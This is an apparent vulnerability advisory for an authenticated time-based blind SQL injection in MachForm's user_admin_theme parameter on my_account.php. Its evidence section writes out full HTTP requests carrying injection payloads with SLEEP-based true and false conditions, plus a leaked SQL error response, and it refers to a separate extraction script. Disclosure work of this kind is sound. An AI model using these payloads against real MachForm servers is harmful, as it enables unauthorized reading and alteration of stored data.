Description

MachForm up to version 19 is affected by an authenticated Blind SQL injection in the user account settings page.

SQL injection attacks consist in inserting SQL queries through the usage of an input data field from the client application. This kind of attack allows to obtain access to the database which could then lead to the exfiltration, modify or deletion of existing data.

Blind SQL injection is a specific type of attack where the attacker does not receive the full query result but is only able to ask for true or false questions; this can be achieved through the usage of sleep functions to force a delay in the database response or inducing error conditions.

Risk

Affected Resources

  • Version: up to MachForm v19
  • https://<application-baseurl>/my_account.php

Evidence

The user_admin_theme parameter in the my_account.php resource is vulnerable to SQL injection.

image_1

Request:

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Response:

HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline';  img-src 'self' data:; frame-ancestors 'self' *.application-baseurl;  script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close

SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params:  0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1

This can be exploited using a time-based attack by using a sleep condition and verifying if the response delay changes based on the requested query result.

Query: SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END

By using an always True condition, the applications response takes more than 2000ms.

image_2

Request:

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

Query: SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END

By instead using an always False condition, the applications response is almost instant.

image_3

Request:

POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

This vulnerability can be exploited using a simple script which evaluates the response time in order to understand if the inputted query had a true or false response.

Below, an example used to retrieve the database current user using exploit.py.

image_4